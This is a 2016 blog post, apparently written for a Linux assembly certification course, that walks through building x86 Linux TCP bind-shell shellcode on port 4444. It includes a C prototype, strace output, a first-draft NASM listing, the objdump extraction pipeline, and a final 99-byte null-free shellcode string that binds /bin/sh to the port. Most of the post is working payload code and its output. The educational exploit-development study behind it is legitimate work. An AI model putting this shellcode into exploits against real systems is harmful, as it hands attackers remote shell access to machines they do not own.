Tuesday 31 May 2016

x86 bind shell from scratch

Okay...!  Here we go, part one of seven posts for my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments which I'll be posting on here.

The first assignment task is to create a shell bind TCP shellcode, where the port number is easily configurable, should be fairly straighforward.


Firstly, I create a quick C program


1:  #include <stdio.h>  
2:  #include <stdlib.h>  
3:  #include <sys/socket.h>  
4:  #include <arpa/inet.h>  
5:  void main(void)  
6:  {  
7:    int socket_handle;  
8:    struct sockaddr_in addr;  
9:    addr.sin_family = AF_INET;  
10:    addr.sin_addr.s_addr = INADDR_ANY;       
11:    addr.sin_port = 0x5c11;       // 4444  
12:    socket_handle = socket(AF_INET, SOCK_STREAM, 0);  
13:    bind(socket_handle, &addr, sizeof(addr));  
14:    listen(socket_handle, 0);  
15:    int connection = accept(socket_handle, 0, 0);  
16:    dup2(connection, 2);  
17:    dup2(connection, 1);  
18:    dup2(connection, 0);  
19:    execve("/bin/sh", 0, 0);  
20:  }  

...compile and run it through strace to capture the relevant system calls and parameters - also catching the parameters in raw mode, helps to figure out what's going on.  I've snipped out all but the unnecessary calls in the below output;

 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3  
 bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0  
 listen(3, 0)              = 0  
 accept(3, NULL, NULL)          = 4  
 dup2(4, 2)               = 2  
 dup2(4, 1)               = 1  
 dup2(4, 0)               = 0  
 execve("/bin/sh", NULL, NULL)   
 paul@SLAE001:~$ strace -e raw=all ./bind  
 ...  
 socket(0x2, 0x1, 0)           = 0x3  
 bind(0x3, 0xbfdb6bcc, 0x10)       = 0  
 listen(0x3, 0)             = 0  
 accept(0x3, 0, 0)            = 0x4  
 dup2(0x4, 0x2)             = 0x2  
 dup2(0x4, 0x1)             = 0x1  
 dup2(0x4, 0)              = 0  
 execve(0x8048700, 0, 0)         = 0  
 ...  


After this, I built a first draft nasm file - ignoring optimisations & use of null chars, for now.

1:  ; bind.asm  
2:  ; Paul Heneghan  
3:  global _start  
4:  section .text  
5:    _start:  
6:    ; socket via socketcall  
7:      mov   ebx, 0x1           ; socketcall number 1  
8:                                    ; int socket(int domain, int type, int protocol);  
9:      push  0x0                ; socket arg 3  
10:      push  0x1                ; socket arg 2  
11:      push  0x2                    ; socket arg 1  
12:      mov   ecx, esp          ; socketcall args  
13:      mov   eax, 0x66           ; system call number 66  
14:                                    ;int socketcall(int call, unsigned long *args);  
15:      int   0x80  
16:      mov          edx, eax          ; save sockfd for later  
17:       ; bind via socketcall  
18:         mov   ebx, 0x2            ; socketcall number 2  
19:                                       ;int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);  
20:         push     0x0                ;ip addr = any  
21:         push     word      0x5c11               ;port 115c = 4444  
22:         push     word     0x2                    ;family inet = 2  
23:         mov          ecx, esp  
24:         push     0x10               ; bind arg 3  
25:         push     ecx                ; bind arg 2  
26:         push      eax                    ; bind arg 1  
27:         mov   ecx, esp          ; pointer to bind args  
28:         mov   eax, 0x66           ; system call number 66  
29:                                       ;int socketcall(int call, unsigned long *args);  
30:      int   0x80  
31:       ; listen via socketcall  
32:         mov   ebx, 0x4       ; socketcall number 4  
33:                                       ;int listen(int sockfd, int backlog);  
34:         push      0x0                ; listen arg 2  
35:         push      edx                    ; listen arg 1  
36:         mov      ecx, esp  
37:         mov   eax, 0x66       ; system call number 66  
38:                                       ;int socketcall(int call, unsigned long *args);  
39:         int   0x80  
40:       ; accept via socketcall  
41:         mov   ebx, 0x5       ; socketcall number 5  
42:                                       ;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);   
43:         push     0x0                ; bind arg 3  
44:         push     0x0                ; bind arg 2  
45:         push      edx                    ; bind arg 1  
46:         mov   ecx, esp          ; pointer to bind args  
47:         mov   eax, 0x66       ; system call number 66  
48:                                       ;int socketcall(int call, unsigned long *args);  
49:         int   0x80  
50:         mov          ebx, eax          ; save connection fd for later  
51:       ; dup2  
52:         mov   eax, 0x3f          ; int dup2(int oldfd, int newfd);  
53:         ;mov          ebx,  
54:         mov   ecx, 0x2          ; stderr  
55:         int   0x80  
56:       ; dup2  
57:         mov   eax, 0x3f          ; int dup2(int oldfd, int newfd);  
58:         ;mov          ebx,  
59:         mov   ecx, 0x1          ; stdout  
60:         int   0x80  
61:       ; dup2  
62:         mov   eax, 0x3f          ; int dup2(int oldfd, int newfd);  
63:         ;mov          ebx,  
64:         mov   ecx, 0x0          ; stdin  
65:         int   0x80  
66:       ; execve  
67:            mov eax, 0xb               ; int execve(const char *filename, char *const argv[], char *const envp[]);  
68:            mov ebx, shell  
69:            mov ecx, 0x0  
70:            mov edx, 0x0  
71:            int 0x80  
72:  section .data  
73:       shell: db "/bin/sh"  
74:       mlen: equ $-shell  

Okay so obviously this isn't going to work as shellcode: the data section needs to go, the nulls need to go and I might as well loop around the dup2 operations to tighten it up a bit.

The second draft is here: https://github.com/pabb85/SLAE/blob/master/bind.asm

This builds nicely, as shown below - gives a shellcode of 99 bytes which I guess is *not bad* for a first attempt.  The port is easily configurable by altering line 30, where 0x5c11 is equivalent to 4444 (remember to flip the bytes).

That is assignment one complete, I'll move onto the next task and spend some time looking at optimisations also.

 paul@SLAE001:~$ nasm -f elf32 bind.asm -o bind.o  
 paul@SLAE001:~$ ld bind.o -o bind  
 paul@SLAE001:~$ objdump -d ./bind|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"  
 paul@SLAE001:~$ perl -e 'print "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";' | wc -c  
 99  

End result: using my bind shell shellcode :-)


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.